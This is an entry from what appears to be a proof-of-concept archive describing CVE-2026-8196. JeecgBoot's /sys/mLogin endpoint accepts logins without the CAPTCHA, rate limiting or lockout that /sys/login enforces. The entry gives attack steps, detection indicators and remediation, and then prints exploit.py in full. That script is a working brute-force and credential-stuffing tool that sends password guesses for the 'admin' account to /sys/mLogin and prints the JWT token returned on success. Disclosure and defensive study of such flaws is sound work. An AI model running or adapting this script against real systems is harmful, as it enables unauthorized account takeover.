PoC Archive PoC Archive
High CVE-2026-8196 unpatched

JeecgBoot mLogin Endpoint CAPTCHA Bypass Enabling Credential Brute Force (CVE-2026-8196)

by Unknown (credited reference: xpp3901/CVE_APPLY V-009) · 2026-07-05

Severity
High
CVE
CVE-2026-8196
Category
web
Affected product
JeecgBoot (/sys/mLogin endpoint)
Affected versions
Not specified in source (affects instances exposing /sys/mLogin)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / ResearcherUnknown (credited reference: xpp3901/CVE_APPLY V-009)
CVE / AdvisoryCVE-2026-8196
Categoryweb
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagsjeecgboot, captcha-bypass, credential-stuffing, brute-force, missing-rate-limiting, authentication-bypass
RelatedN/A

Affected Target

FieldValue
Software / SystemJeecgBoot (/sys/mLogin endpoint)
Versions AffectedNot specified in source (affects instances exposing /sys/mLogin)
Language / PlatformJava (Spring Boot) web application
Authentication RequiredNo
Network Access RequiredYes

Summary

JeecgBoot exposes a secondary login endpoint, /sys/mLogin, that accepts the same username/password credentials as the standard /sys/login endpoint but — unlike /sys/login — does not enforce a CAPTCHA challenge and applies no rate limiting or account lockout. This allows an attacker to bypass the CAPTCHA protection intended to slow down automated login attempts and perform efficient, unthrottled credential brute-forcing or credential-stuffing against /sys/mLogin, obtaining a valid JWT token on success.


Vulnerability Details

Root Cause

Inconsistent authentication controls between two functionally equivalent login endpoints: /sys/login enforces a CAPTCHA, while /sys/mLogin accepts the identical credential payload without any CAPTCHA, rate limiting, or lockout.

Attack Vector

  1. Identify that the target JeecgBoot instance exposes /sys/mLogin in addition to /sys/login.
  2. Send repeated JSON login requests to /sys/mLogin with candidate username/password pairs (no CAPTCHA field required).
  3. Because there is no throttling, the attacker can iterate through a credential list (brute force or credential stuffing) far faster than the CAPTCHA-protected /sys/login endpoint would allow.
  4. A successful guess returns a full JWT authentication token, granting access equivalent to a normal login.

Impact

Enables efficient, automatable brute-force and credential-stuffing attacks against user accounts, bypassing anti-automation protections and potentially leading to account takeover.


Environment / Lab Setup

Target:   A JeecgBoot instance exposing /sys/mLogin and /sys/login
Attacker: Any HTTP client (exploit.py provided, using the `requests` library)

Proof of Concept

PoC Script

See exploit.py in this folder.

1
2
pip install requests
python3 exploit.py

exploit.py demonstrates that /sys/login enforces a CAPTCHA (test_standard_login()), while /sys/mLogin accepts the same credentials without a CAPTCHA field (mlogin()), returning a valid JWT — illustrating the bypass and its suitability for brute-force/credential-stuffing automation.


Detection & Indicators of Compromise

Signs of compromise:

  • Repeated failed authentication attempts against /sys/mLogin in rapid succession.
  • Successful /sys/mLogin authentications immediately following a burst of failures from the same source.
  • Traffic to /sys/mLogin disproportionate to traffic on the CAPTCHA-protected /sys/login.

Remediation

ActionDetail
Primary fixApply the same CAPTCHA requirement, rate limiting, and account lockout policy to /sys/mLogin as /sys/login, or remove/restrict the endpoint if not required
Interim mitigationBlock or rate-limit external access to /sys/mLogin at the reverse proxy/WAF layer

References


Notes

Mirrored from https://github.com/HORKimhab/CVE-2026-8196 on 2026-07-05. This repository’s upstream README is a generic legal/ethics disclaimer with no independent technical writeup beyond a credit link to another researcher’s report (xpp3901/CVE_APPLY); the account has prior farm-account history, so treat with appropriate additional scrutiny even though exploit.py is functional, non-obfuscated PoC code.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
"""
    How to use:

    Install requests: pip install requests
    Change TARGET to your test JeecgBoot instance
    Run the script

    Key Educational Points:

    /sys/login → enforces captcha
    /sys/mLogin → no captcha, same credentials, returns full JWT token
    No rate limiting or account lockout (as shown in the original report)
    Enables efficient brute-force / credential stuffing
    CVE-2026-8196
"""
import requests
import time
import json
from typing import Dict, Optional

class JeecgBootBruteForcePoC:
    def __init__(self, target_url: str, delay: float = 0.1):
        self.target_url = target_url.rstrip('/')
        self.mlogin_url = f"{self.target_url}/sys/mLogin"
        self.login_url = f"{self.target_url}/sys/login"  # For comparison
        self.delay = delay
        self.session = requests.Session()
        self.session.headers.update({
            "Content-Type": "application/json",
            "User-Agent": "Mozilla/5.0 (compatible; JeecgPoC-Edu/1.0)"
        })

    def test_standard_login(self, username: str, password: str) -> Dict:
        """Demonstrate that normal login requires captcha"""
        payload = {
            "username": username,
            "password": password
        }
        response = self.session.post(self.login_url, json=payload)
        return response.json()

    def mlogin(self, username: str, password: str) -> Dict:
        """Bypass captcha using mLogin endpoint"""
        payload = {
            "username": username,
            "password": password
            # No captcha field needed!
        }
        
        response = self.session.post(self.mlogin_url, json=payload)
        
        try:
            return response.json()
        except:
            return {"error": "Invalid JSON response", "raw": response.text}

    def brute_force(self, username: str, password_list: list, max_attempts: int = 50):
        """Simple brute-force demonstration (for education only)"""
        print(f"[+] Starting brute-force demo against {username} on {self.mlogin_url}")
        print(f"[+] No captcha, no rate limiting demonstrated\n")
        
        for i, password in enumerate(password_list[:max_attempts], 1):
            result = self.mlogin(username, password)
            success = result.get("success", False)
            
            status = "✅ SUCCESS" if success else "❌ Failed"
            message = result.get("message", "No message")
            
            print(f"[{i:03d}] {status} | Password: {password:<15} | Msg: {message}")
            
            if success:
                print("\n🎉 LOGIN SUCCESSFUL!")
                print(json.dumps(result.get("result", {}), indent=2, ensure_ascii=False))
                break
                
            time.sleep(self.delay)  # Be responsible in testing

def main():
    # ================== CONFIGURATION ==================
    TARGET = "http://your-target:8080/jeecg-boot"   # Change this!
    USERNAME = "admin"
    # ===================================================
    
    poc = JeecgBootBruteForcePoC(TARGET)
    
    print("=== JeecgBoot mLogin Captcha Bypass PoC (Educational) ===\n")
    
    # 1. Show standard login fails without captcha
    print("1. Testing standard /sys/login (should require captcha):")
    std_result = poc.test_standard_login(USERNAME, "123456")
    print(json.dumps(std_result, indent=2, ensure_ascii=False))
    print()
    
    # 2. Demonstrate bypass with mLogin
    print("2. Testing /sys/mLogin (captcha bypassed):")
    result = poc.mlogin(USERNAME, "123456")  # Change password as needed
    print(json.dumps(result, indent=2, ensure_ascii=False))
    
    # 3. Optional: Brute force demo (educational only!)
    # passwords = ["123456", "admin", "password", "jeecg", "12345678", ...]
    # poc.brute_force(USERNAME, passwords, max_attempts=20)

if __name__ == "__main__":
    main()